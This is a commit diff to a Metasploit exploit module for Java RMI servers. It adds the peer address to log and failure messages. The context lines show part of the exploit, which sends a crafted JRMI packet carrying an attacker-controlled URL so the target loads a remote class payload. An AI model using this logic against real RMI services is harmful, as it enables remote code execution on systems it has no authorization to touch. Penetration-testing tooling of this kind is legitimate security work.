Skip to content

Commit 4a0e9b2

Browse files
committed
Use peer
1 parent 4a06065 commit 4a0e9b2

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/multi/misc/java_rmi_server.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -123,7 +123,7 @@ def primer
123123
packet[idx, find_me.length] = len + new_url
124124

125125
# write out minimal header and packet
126-
print_status("Connected and sending request for #{new_url}")
126+
print_status("#{peer} - Connected and sending request for #{new_url}")
127127
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
128128
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)
129129

@@ -138,14 +138,14 @@ def primer
138138
disconnect
139139

140140
if buf =~ /RMI class loader disabled/
141-
fail_with(Failure::NotVulnerable, "The RMI class loader is disabled")
141+
fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled")
142142
end
143143

144144
if buf =~ /java.lang.ClassNotFoundException/
145-
fail_with(Failure::Unknown, "The RMI class loader couldn't find the payload")
145+
fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload")
146146
end
147147

148-
print_good("Target #{rhost}:#{rport} may be exploitable...")
148+
print_good("#{peer} - Target may be exploitable...")
149149
end
150150

151151
def on_request_uri(cli, request)

0 commit comments

Comments
 (0)